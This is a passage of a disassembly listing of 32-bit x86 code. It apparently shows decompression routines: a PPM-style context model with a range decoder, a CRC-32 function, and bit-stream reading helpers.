		mov	ecx, [ebp+var_14]
		mov	[esi], ecx
		mov	cl, byte ptr [ebp+var_20]
		mov	[esi+4], cl
		mov	[esi+5], al
		inc	edx
		mov	[edi+0Ah], dx
		mov	edi, [edi]
		cmp	edi, [ebx+4]
		mov	[ebp+var_4], edi
		jnz	loc_9B30B8
		jmp	loc_9B30A7
; ---------------------------------------------------------------------------


loc_9B3215:				; CODE XREF: sub_9B2F62+AFj
		mov	byte ptr [ebx+4C88h], 0
		jmp	loc_9B30B0
sub_9B2F62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3221	proc near		; CODE XREF: sub_9B37F8+34p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		movzx	eax, word ptr [edi+8]
		mov	[esi+870h], eax
		push	ebx
		lea	ebx, [esi+85Ch]
		mov	eax, [ebx+8]
		xor	edx, edx
		div	dword ptr [ebx+14h]
		mov	ecx, [edi+4]
		xor	edx, edx
		mov	[ebp+var_4], eax
		mov	[ebx+8], eax
		mov	eax, [ebx+4]
		sub	eax, [ebx]
		div	[ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [esi+870h]
		cmp	[ebp+var_4], eax
		jnb	short loc_9B32AE
		movzx	edx, byte ptr [ecx+5]
		cmp	[ebp+var_4], edx
		jge	short loc_9B32A9
		lea	ebx, [edx+edx]
		cmp	ebx, eax
		setnbe	al
		mov	[esi+4C89h], al
		mov	[esi+86Ch], edx
		movzx	eax, al
		add	[esi+880h], eax
		add	edx, 4
		mov	[esi], ecx
		mov	[ecx+5], dl
		add	word ptr [edi+8], 4
		cmp	edx, 7Ch
		jle	short loc_9B32A0
		push	esi
		mov	eax, edi
		call	sub_9B2C40
		pop	ecx


loc_9B32A0:				; CODE XREF: sub_9B3221+74j
		and	dword ptr [esi+868h], 0
		jmp	short loc_9B3314
; ---------------------------------------------------------------------------


loc_9B32A9:				; CODE XREF: sub_9B3221+45j
		cmp	dword ptr [esi], 0
		jnz	short loc_9B32B2


loc_9B32AE:				; CODE XREF: sub_9B3221+3Cj
		xor	eax, eax
		jmp	short loc_9B3317
; ---------------------------------------------------------------------------


loc_9B32B2:				; CODE XREF: sub_9B3221+8Bj
		mov	byte ptr [esi+4C89h], 0
		movzx	ebx, word ptr [edi+0Ah]
		dec	ebx
		jmp	short loc_9B32C3
; ---------------------------------------------------------------------------


loc_9B32C0:				; CODE XREF: sub_9B3221+AEj
		dec	ebx
		jz	short loc_9B331A


loc_9B32C3:				; CODE XREF: sub_9B3221+9Dj
		movzx	eax, byte ptr [ecx+0Bh]
		add	ecx, 6
		add	edx, eax
		cmp	edx, [ebp+var_4]
		jle	short loc_9B32C0
		mov	[esi+86Ch], edx
		movzx	eax, byte ptr [ecx+5]
		sub	edx, eax
		mov	[esi+868h], edx
		mov	[esi], ecx
		add	byte ptr [ecx+5], 4
		add	word ptr [edi+8], 4
		mov	al, [ecx+5]
		cmp	al, [ecx-1]
		jbe	short loc_9B3314
		lea	eax, [ecx-6]
		push	eax
		push	ecx
		call	sub_9B2C1A
		add	esp, 8
		mov	[esi], eax
		cmp	byte ptr [eax+5], 7Ch
		jbe	short loc_9B3314
		push	esi
		mov	eax, edi
		call	sub_9B2C40
		pop	ecx


loc_9B3314:				; CODE XREF: sub_9B3221+86j
					; sub_9B3221+D3j ...
		xor	eax, eax
		inc	eax


loc_9B3317:				; CODE XREF: sub_9B3221+8Fj
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B331A:				; CODE XREF: sub_9B3221+A0j
		mov	eax, [esi]
		movzx	eax, byte ptr [eax+4]
		mov	al, [eax+esi+0B88h]
		mov	[esi+4C8Ah], al
		mov	[esi+868h], edx
		mov	dl, [esi+4C88h]
		add	ecx, 4
		movzx	eax, byte ptr [ecx]
		mov	[eax+esi+888h],	dl
		movzx	eax, word ptr [edi+0Ah]
		mov	[esi+650h], eax
		dec	eax
		and	dword ptr [esi], 0


loc_9B3354:				; CODE XREF: sub_9B3221+147j
		mov	bl, [esi+4C88h]
		sub	ecx, 6
		dec	eax
		movzx	edx, byte ptr [ecx]
		mov	[edx+esi+888h],	bl
		jnz	short loc_9B3354
		mov	eax, [esi+870h]
		mov	[esi+86Ch], eax
		jmp	short loc_9B3314
sub_9B3221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3378	proc near		; CODE XREF: sub_9B37F8+47p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ecx]
		movzx	eax, byte ptr [eax+4]
		mov	al, [eax+ecx+0B88h]
		mov	[ecx+4C8Ah], al
		push	ebx
		push	esi
		push	edi
		lea	edi, [edx+4]
		mov	edx, [edx]
		movzx	edx, word ptr [edx+0Ah]
		movzx	edx, byte ptr [edx+ecx+0A87h]
		movzx	esi, byte ptr [edi+4]
		movzx	esi, byte ptr [esi+ecx+0B88h]
		movzx	ebx, byte ptr [edi+5]
		shl	ebx, 5
		add	esi, ebx
		lea	edx, [edx+esi*2+604h]
		mov	esi, [ecx+880h]
		sar	esi, 1Ah
		and	esi, 20h
		add	edx, esi
		movzx	esi, byte ptr [ecx+4C89h]
		add	edx, esi
		movzx	eax, al
		add	edx, eax
		lea	esi, [ecx+edx*2]
		lea	edx, [ecx+85Ch]
		shr	dword ptr [edx+8], 0Eh
		movzx	eax, word ptr [esi]
		mov	ebx, [edx+8]
		mov	[ebp+var_4], eax
		mov	eax, [edx+4]
		sub	eax, [edx]
		xor	edx, edx
		div	ebx
		mov	edx, [ebp+var_4]
		cmp	eax, edx
		jnb	short loc_9B3447
		mov	[ecx], edi
		mov	al, [edi+5]
		cmp	al, 80h
		setb	dl
		add	dl, al
		mov	[edi+5], dl
		and	dword ptr [ecx+868h], 0
		movzx	eax, word ptr [esi]
		mov	[ecx+86Ch], eax
		xor	eax, eax
		mov	ax, [esi]
		movzx	edx, ax
		add	edx, 20h
		sar	edx, 7
		sub	eax, edx
		add	eax, 80h
		mov	[esi], ax
		inc	dword ptr [ecx+880h]
		mov	byte ptr [ecx+4C89h], 1
		jmp	short loc_9B34A2
; ---------------------------------------------------------------------------


loc_9B3447:				; CODE XREF: sub_9B3378+87j
		mov	[ecx+868h], edx
		xor	eax, eax
		mov	ax, [esi]
		movzx	edx, ax
		add	edx, 20h
		sar	edx, 7
		sub	eax, edx
		mov	[esi], ax
		mov	dl, [ecx+4C88h]
		mov	dword ptr [ecx+86Ch], 4000h
		movzx	eax, word ptr [esi]
		shr	eax, 0Ah
		movzx	eax, byte_9A6ACC[eax]
		mov	[ecx+874h], eax
		mov	dword ptr [ecx+650h], 1
		movzx	eax, byte ptr [edi+4]
		mov	[eax+ecx+888h],	dl
		and	dword ptr [ecx], 0
		mov	byte ptr [ecx+4C89h], 0


loc_9B34A2:				; CODE XREF: sub_9B3378+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B3378	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B34A7	proc near		; CODE XREF: sub_9B3542+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	cx, [eax+0Ah]
		cmp	cx, 100h
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_9B352F
		push	ebx
		xor	ebx, ebx
		cmp	[edx+650h], esi
		push	edi
		setnle	bl
		movzx	edi, cx
		movzx	ecx, byte ptr [edx+esi+987h]
		movzx	esi, word ptr [eax+8]
		mov	eax, [eax]
		movzx	eax, word ptr [eax+0Ah]
		mov	[ebp+var_4], edi
		imul	edi, 0Bh
		lea	ecx, [ebx+ecx*4]
		xor	ebx, ebx
		cmp	esi, edi
		setl	bl
		sub	eax, [ebp+var_4]
		lea	ecx, [ebx+ecx*2]
		xor	ebx, ebx
		cmp	[ebp+arg_0], eax
		setl	bl
		xor	esi, esi
		lea	eax, [ebx+ecx*2]
		movzx	ecx, byte ptr [edx+4C8Ah]
		add	eax, ecx
		lea	eax, [edx+eax*4+0Ch]
		mov	si, [eax]
		mov	cl, [eax+2]
		movzx	edi, si
		shr	edi, cl
		xor	ecx, ecx
		sub	esi, edi
		test	edi, edi
		setz	cl
		mov	[eax], si
		add	ecx, edi
		pop	edi
		mov	[edx+870h], ecx
		pop	ebx
		jmp	short loc_9B353F
; ---------------------------------------------------------------------------


loc_9B352F:				; CODE XREF: sub_9B34A7+11j
		lea	eax, [edx+64Ch]
		mov	dword ptr [edx+870h], 1


loc_9B353F:				; CODE XREF: sub_9B34A7+86j
		pop	esi
		leave
		retn
sub_9B34A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3542	proc near		; CODE XREF: sub_9B37F8+132p

var_410		= dword	ptr -410h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	edi
		movzx	edi, word ptr [ebx+0Ah]
		sub	edi, [esi+650h]
		mov	eax, ebx
		push	edi
		mov	edx, esi
		call	sub_9B34A7
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_410]
		mov	[ebp+var_10], eax
		mov	eax, [ebx+4]
		sub	eax, 6
		and	[ebp+var_4], 0
		pop	ecx


loc_9B3577:				; CODE XREF: sub_9B3542+49j
					; sub_9B3542+5Cj
		movzx	edx, byte ptr [eax+0Ah]
		mov	cl, [esi+4C88h]
		add	eax, 6
		cmp	[edx+esi+888h],	cl
		jz	short loc_9B3577
		movzx	ecx, byte ptr [eax+5]
		add	[ebp+var_4], ecx
		mov	ecx, [ebp+var_10]
		add	[ebp+var_10], 4
		dec	edi
		mov	[ecx], eax
		jnz	short loc_9B3577
		mov	edi, [ebp+var_4]
		add	[esi+870h], edi
		lea	ecx, [esi+85Ch]
		mov	eax, [ecx+8]
		xor	edx, edx
		div	dword ptr [ecx+14h]
		xor	edx, edx
		mov	[ebp+var_4], eax
		mov	[ecx+8], eax
		mov	eax, [ecx+4]
		sub	eax, [ecx]
		mov	ecx, [esi+870h]
		div	[ebp+var_4]
		cmp	eax, ecx
		mov	[ebp+var_4], eax
		jb	short loc_9B35DB
		xor	eax, eax
		jmp	loc_9B36BA
; ---------------------------------------------------------------------------


loc_9B35DB:				; CODE XREF: sub_9B3542+90j
		cmp	[ebp+var_4], edi
		mov	edx, [ebp+var_410]
		lea	eax, [ebp+var_410]
		jge	short loc_9B3668
		mov	ecx, edx
		movzx	ecx, byte ptr [ecx+5]
		jmp	short loc_9B35FF
; ---------------------------------------------------------------------------


loc_9B35F4:				; CODE XREF: sub_9B3542+C0j
		add	eax, 4
		mov	edx, [eax]
		movzx	edi, byte ptr [edx+5]
		add	ecx, edi


loc_9B35FF:				; CODE XREF: sub_9B3542+B0j
		cmp	ecx, [ebp+var_4]
		jle	short loc_9B35F4
		mov	edi, [ebp+var_C]
		mov	[esi+86Ch], ecx
		movzx	eax, byte ptr [edx+5]
		sub	ecx, eax
		mov	[esi+868h], ecx
		mov	cl, [edi+2]
		cmp	cl, 7
		mov	[ebp+var_5], cl
		jnb	short loc_9B363A
		dec	byte ptr [edi+3]
		jnz	short loc_9B363A
		shl	word ptr [edi],	1
		mov	al, 3
		shl	al, cl
		mov	[edi+3], al
		mov	al, cl
		inc	al
		mov	[edi+2], al


loc_9B363A:				; CODE XREF: sub_9B3542+E0j
					; sub_9B3542+E5j
		mov	[esi], edx
		add	byte ptr [edx+5], 4
		add	word ptr [ebx+8], 4
		cmp	byte ptr [edx+5], 7Ch
		jbe	short loc_9B3654
		push	esi
		mov	eax, ebx
		call	sub_9B2C40
		pop	ecx


loc_9B3654:				; CODE XREF: sub_9B3542+107j
		mov	eax, [esi+884h]
		inc	byte ptr [esi+4C88h]
		mov	[esi+880h], eax
		jmp	short loc_9B36B7
; ---------------------------------------------------------------------------


loc_9B3668:				; CODE XREF: sub_9B3542+A8j
		mov	[esi+868h], edi
		mov	[esi+86Ch], ecx
		movzx	edi, word ptr [ebx+0Ah]
		sub	edi, [esi+650h]
		lea	eax, [ebp+var_410]
		sub	eax, 4


loc_9B3687:				; CODE XREF: sub_9B3542+15Cj
		mov	dl, [esi+4C88h]
		add	eax, 4
		dec	edi
		mov	ecx, [eax]
		movzx	ecx, byte ptr [ecx+4]
		mov	[ecx+esi+888h],	dl
		jnz	short loc_9B3687
		mov	eax, [ebp+var_C]
		mov	cx, [esi+870h]
		add	[eax], cx
		movzx	eax, word ptr [ebx+0Ah]
		mov	[esi+650h], eax


loc_9B36B7:				; CODE XREF: sub_9B3542+124j
		xor	eax, eax
		inc	eax


loc_9B36BA:				; CODE XREF: sub_9B3542+94j
		pop	edi
		leave
		retn
sub_9B3542	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B36BD	proc near		; CODE XREF: sub_9B202D+ABp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+670h], ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		retn
sub_9B36BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B36D0	proc near		; CODE XREF: sub_9B202D+E8p
					; sub_9B239F+1Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 654h
		jmp	sub_9B25FE
sub_9B36D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B36DE	proc near		; CODE XREF: sub_9B1547+878p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+654h]
		mov	eax, edi
		call	sub_9B25FE
		xor	eax, eax
		inc	eax
		call	sub_9B2613
		push	2
		pop	eax
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	sub_9B2B65
sub_9B36DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3705	proc near		; CODE XREF: sub_9B0AAE+6Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_9B05B9
		mov	ebx, [ebp+arg_0]
		mov	edi, eax
		mov	[ebp+var_8], edi
		shr	edi, 5
		and	edi, 1
		pop	ecx
		pop	ecx
		jz	loc_9B37B6
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_9B05B9
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_9B373E:				; CODE XREF: sub_9B3705+B8j
		test	byte ptr [ebp+var_8], 40h
		jz	short loc_9B3756
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_9B05B9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_9B3756:				; CODE XREF: sub_9B3705+3Dj
		push	esi
		lea	esi, [ebx+85Ch]
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[ebp+var_4], 4


loc_9B376F:				; CODE XREF: sub_9B3705+85j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_9B05B9
		pop	ecx
		pop	ecx
		mov	ecx, [esi+4]
		shl	ecx, 8
		or	eax, ecx
		dec	[ebp+var_4]
		mov	[esi+4], eax
		jnz	short loc_9B376F
		test	edi, edi
		jz	short loc_9B37EB
		mov	eax, [ebp+var_8]
		and	eax, 1Fh
		inc	eax
		mov	esi, eax
		cmp	esi, 10h
		jle	short loc_9B37A2
		lea	esi, [esi+esi*2-20h]


loc_9B37A2:				; CODE XREF: sub_9B3705+97j
		cmp	esi, 1
		jnz	short loc_9B37C7
		lea	eax, [ebx+654h]


loc_9B37AD:				; CODE XREF: sub_9B3705+E4j
		call	sub_9B25FE
		xor	eax, eax
		jmp	short loc_9B37F3
; ---------------------------------------------------------------------------


loc_9B37B6:				; CODE XREF: sub_9B3705+23j
		cmp	dword ptr [ebx+670h], 0
		jnz	loc_9B373E
		xor	eax, eax
		jmp	short loc_9B37F4
; ---------------------------------------------------------------------------


loc_9B37C7:				; CODE XREF: sub_9B3705+A0j
		mov	eax, [ebp+var_C]
		lea	edi, [ebx+654h]
		inc	eax
		call	sub_9B2613
		test	eax, eax
		jz	short loc_9B37E7
		mov	eax, esi
		mov	ecx, ebx
		call	sub_9B2B65
		test	eax, eax
		jnz	short loc_9B37EB


loc_9B37E7:				; CODE XREF: sub_9B3705+D3j
		mov	eax, edi
		jmp	short loc_9B37AD
; ---------------------------------------------------------------------------


loc_9B37EB:				; CODE XREF: sub_9B3705+89j
					; sub_9B3705+E0j
		xor	eax, eax
		cmp	[ebx+4], eax
		setnz	al


loc_9B37F3:				; CODE XREF: sub_9B3705+AFj
		pop	esi


loc_9B37F4:				; CODE XREF: sub_9B3705+C0j
		pop	edi
		pop	ebx
		leave
		retn
sub_9B3705	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B37F8	proc near		; CODE XREF: sub_9B1364+13p
					; sub_9B1364+33p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+4]
		mov	ecx, [esi+654h]
		cmp	edx, ecx
		push	edi
		jbe	short loc_9B3835
		mov	edi, [esi+65Ch]
		cmp	edx, edi
		ja	short loc_9B3835
		cmp	word ptr [edx+0Ah], 1
		jz	short loc_9B383D
		mov	eax, [edx+4]
		cmp	eax, ecx
		jbe	short loc_9B3835
		cmp	eax, edi
		ja	short loc_9B3835
		mov	edi, edx
		call	sub_9B3221


loc_9B3831:				; CODE XREF: sub_9B37F8+137j
		test	eax, eax
		jnz	short loc_9B3844


loc_9B3835:				; CODE XREF: sub_9B37F8+14j
					; sub_9B37F8+1Ej ...
		or	eax, 0FFFFFFFFh


loc_9B3838:				; CODE XREF: sub_9B37F8+1C9j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_9B383D:				; CODE XREF: sub_9B37F8+25j
		mov	ecx, esi
		call	sub_9B3378


loc_9B3844:				; CODE XREF: sub_9B37F8+3Bj
		mov	ecx, [esi+868h]
		lea	eax, [esi+864h]
		mov	edx, [eax]
		mov	edi, edx
		imul	edi, ecx
		add	[esi+85Ch], edi
		mov	edi, [esi+86Ch]
		sub	edi, ecx
		imul	edi, edx
		mov	[eax], edi
		cmp	dword ptr [esi], 0
		jz	short loc_9B389C
		mov	eax, [esi]
		movzx	edi, byte ptr [eax+4]
		xor	ebx, ebx
		cmp	[esi+878h], ebx
		jnz	loc_9B3934
		mov	eax, [eax]
		cmp	eax, [esi+654h]
		jbe	loc_9B3934
		mov	[esi+8], eax
		mov	[esi+4], eax
		jmp	loc_9B3965
; ---------------------------------------------------------------------------


loc_9B389C:				; CODE XREF: sub_9B37F8+75j
					; sub_9B37F8+FCj
		mov	eax, [esi+85Ch]
		mov	ecx, [esi+864h]
		lea	edx, [eax+ecx]
		xor	edx, eax
		cmp	edx, 1000000h
		jb	short loc_9B38CA
		cmp	ecx, 8000h
		jnb	short loc_9B38F6
		neg	eax
		and	eax, 7FFFh
		mov	[esi+864h], eax


loc_9B38CA:				; CODE XREF: sub_9B37F8+BBj
		push	[ebp+arg_8]
		lea	ebx, [esi+860h]
		push	[ebp+arg_4]
		call	sub_9B05B9
		shl	dword ptr [esi+864h], 8
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		shl	ecx, 8
		or	eax, ecx
		shl	dword ptr [esi+85Ch], 8
		mov	[ebx], eax
		jmp	short loc_9B389C
; ---------------------------------------------------------------------------


loc_9B38F6:				; CODE XREF: sub_9B37F8+C3j
		mov	eax, [esi+654h]


loc_9B38FC:				; CODE XREF: sub_9B37F8+130j
		mov	ecx, [esi+4]
		inc	dword ptr [esi+878h]
		mov	ebx, [ecx]
		cmp	ebx, eax
		mov	[esi+4], ebx
		jbe	loc_9B3835
		cmp	ebx, [esi+65Ch]
		ja	loc_9B3835
		movzx	ecx, word ptr [ebx+0Ah]
		cmp	ecx, [esi+650h]
		jz	short loc_9B38FC
		call	sub_9B3542
		jmp	loc_9B3831
; ---------------------------------------------------------------------------


loc_9B3934:				; CODE XREF: sub_9B37F8+85j
					; sub_9B37F8+93j
		push	esi
		call	sub_9B2F62
		test	eax, eax
		pop	ecx
		jz	loc_9B3835
		lea	eax, [esi+4C88h]
		cmp	[eax], bl
		jnz	short loc_9B3965
		push	100h		; Size
		mov	byte ptr [eax],	1
		lea	eax, [esi+888h]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch


loc_9B3965:				; CODE XREF: sub_9B37F8+9Fj
					; sub_9B37F8+153j ...
		mov	eax, [esi+85Ch]
		mov	ecx, [esi+864h]
		lea	edx, [eax+ecx]
		xor	edx, eax
		cmp	edx, 1000000h
		jb	short loc_9B3993
		cmp	ecx, 8000h
		jnb	short loc_9B39BF
		neg	eax
		and	eax, 7FFFh
		mov	[esi+864h], eax


loc_9B3993:				; CODE XREF: sub_9B37F8+184j
		push	[ebp+arg_8]
		lea	ebx, [esi+860h]
		push	[ebp+arg_4]
		call	sub_9B05B9
		shl	dword ptr [esi+864h], 8
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		shl	ecx, 8
		or	eax, ecx
		shl	dword ptr [esi+85Ch], 8
		mov	[ebx], eax
		jmp	short loc_9B3965
; ---------------------------------------------------------------------------


loc_9B39BF:				; CODE XREF: sub_9B37F8+18Cj
		mov	eax, edi
		jmp	loc_9B3838
sub_9B37F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B39C6	proc near		; CODE XREF: sub_9B0681+21p
					; sub_9B0681+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		mov	ecx, [ebp+arg_4]
		jz	short loc_9B39D9
		mov	al, byte ptr [ebp+arg_8]
		mov	[ecx], al
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_9B39D9:				; CODE XREF: sub_9B39C6+Aj
		mov	eax, [ebp+arg_8]
		mov	[ecx], eax
		pop	ebp
		retn
sub_9B39C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B39E0	proc near		; CODE XREF: sub_9B05F5+35p
					; sub_9B3BA1+9Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		jz	short loc_9B3A1C
		push	esi


loc_9B39EF:				; CODE XREF: sub_9B39E0+39j
		movzx	eax, byte ptr [ecx]
		push	8
		inc	ecx
		pop	esi


loc_9B39F6:				; CODE XREF: sub_9B39E0+36j
		mov	edx, eax
		xor	edx, [ebp+arg_0]
		test	dl, 1
		jz	short loc_9B3A10
		mov	edx, [ebp+arg_0]
		shr	edx, 1
		xor	edx, 0EDB88320h
		mov	[ebp+arg_0], edx
		jmp	short loc_9B3A13
; ---------------------------------------------------------------------------


loc_9B3A10:				; CODE XREF: sub_9B39E0+1Ej
		shr	[ebp+arg_0], 1


loc_9B3A13:				; CODE XREF: sub_9B39E0+2Ej
		shr	eax, 1
		dec	esi
		jnz	short loc_9B39F6
		dec	edi
		jnz	short loc_9B39EF
		pop	esi


loc_9B3A1C:				; CODE XREF: sub_9B39E0+Cj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	ebp
		retn
sub_9B39E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B3A22	proc near		; CODE XREF: sub_9B143F+F8p

arg_0		= dword	ptr  4

		push	40004h		; Size
		call	sub_9B254A
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx], eax
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		mov	eax, ecx
		retn
sub_9B3A22	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B3A3D	proc near		; CODE XREF: sub_9B202D+FAp
					; sub_9B221A+176p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_9B3A57
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_9B3A57
		push	eax		; Memory
		call	free
		and	dword ptr [esi], 0
		pop	ecx


loc_9B3A57:				; CODE XREF: sub_9B3A3D+7j
					; sub_9B3A3D+Dj
		pop	esi
		retn
sub_9B3A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B3A59	proc near		; CODE XREF: sub_9B0E04+251p
					; sub_9B0E04+2E6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		add	eax, [ecx+0Ch]
		mov	edx, eax
		sar	edx, 3
		add	[ecx+8], edx
		and	eax, 7
		mov	[ecx+0Ch], eax
		retn
sub_9B3A59	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B3A73	proc near		; CODE XREF: sub_9B0E04+241p
					; sub_9B0E04+2D2p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, [edx]
		mov	eax, [edx+8]
		push	ebx
		xor	ebx, ebx
		add	eax, ecx
		mov	bh, [eax]
		push	8
		pop	ecx
		sub	ecx, [edx+0Ch]
		mov	bl, [eax+1]
		movzx	eax, byte ptr [eax+2]
		shl	ebx, 8
		or	ebx, eax
		shr	ebx, cl
		and	ebx, 0FFFFh
		mov	eax, ebx
		pop	ebx
		retn
sub_9B3A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3AA1	proc near		; CODE XREF: sub_9B0E04+26p
					; sub_9B0E04+18Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	esi
		call	sub_9B3A73
		pop	ecx
		mov	ecx, eax
		and	ecx, 0C000h
		jz	loc_9B3B82
		cmp	ecx, 4000h
		jz	loc_9B3B55
		mov	eax, [esi+0Ch]
		inc	eax
		inc	eax
		cmp	ecx, 8000h
		push	esi
		mov	ecx, eax
		jz	short loc_9B3B2F
		mov	ebx, eax
		sar	ecx, 3
		add	[esi+8], ecx
		and	ebx, 7
		mov	[esi+0Ch], ebx
		call	sub_9B3A73
		add	ebx, 10h
		mov	edi, eax
		mov	eax, [esi+8]
		mov	ecx, ebx
		sar	ecx, 3
		add	eax, ecx
		and	ebx, 7
		push	esi
		shl	edi, 10h
		mov	[ebp+var_4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], ebx
		call	sub_9B3A73
		or	edi, eax
		pop	ecx
		lea	eax, [ebx+10h]
		pop	ecx
		mov	ecx, eax
		sar	ecx, 3
		add	ecx, [ebp+var_4]
		and	eax, 7
		mov	[esi+0Ch], eax
		mov	[esi+8], ecx
		mov	eax, edi
		jmp	short loc_9B3B9C
; ---------------------------------------------------------------------------


loc_9B3B2F:				; CODE XREF: sub_9B3AA1+39j
		mov	edi, eax
		sar	ecx, 3
		add	[esi+8], ecx
		mov	ebx, [esi+8]
		and	edi, 7
		mov	[esi+0Ch], edi
		call	sub_9B3A73
		pop	ecx
		lea	ecx, [edi+10h]
		mov	edx, ecx
		sar	edx, 3
		add	edx, ebx
		mov	[esi+8], edx
		jmp	short loc_9B3B7D
; ---------------------------------------------------------------------------


loc_9B3B55:				; CODE XREF: sub_9B3AA1+25j
		test	ah, 3Ch
		mov	ecx, [esi+0Ch]
		jnz	short loc_9B3B6A
		shr	eax, 2
		or	eax, 0FFFFFF00h
		add	ecx, 0Eh
		jmp	short loc_9B3B75
; ---------------------------------------------------------------------------


loc_9B3B6A:				; CODE XREF: sub_9B3AA1+BAj
		shr	eax, 6
		and	eax, 0FFh
		add	ecx, 0Ah


loc_9B3B75:				; CODE XREF: sub_9B3AA1+C7j
		mov	edx, ecx
		sar	edx, 3
		add	[esi+8], edx


loc_9B3B7D:				; CODE XREF: sub_9B3AA1+B2j
		and	ecx, 7
		jmp	short loc_9B3B99
; ---------------------------------------------------------------------------


loc_9B3B82:				; CODE XREF: sub_9B3AA1+19j
		mov	ecx, [esi+0Ch]
		add	ecx, 6
		mov	edx, ecx
		sar	edx, 3
		add	[esi+8], edx
		shr	eax, 0Ah
		and	ecx, 7
		and	eax, 0Fh


loc_9B3B99:				; CODE XREF: sub_9B3AA1+DFj
		mov	[esi+0Ch], ecx


loc_9B3B9C:				; CODE XREF: sub_9B3AA1+8Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B3AA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3BA1	proc near		; CODE XREF: sub_9B4C4B+67p

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
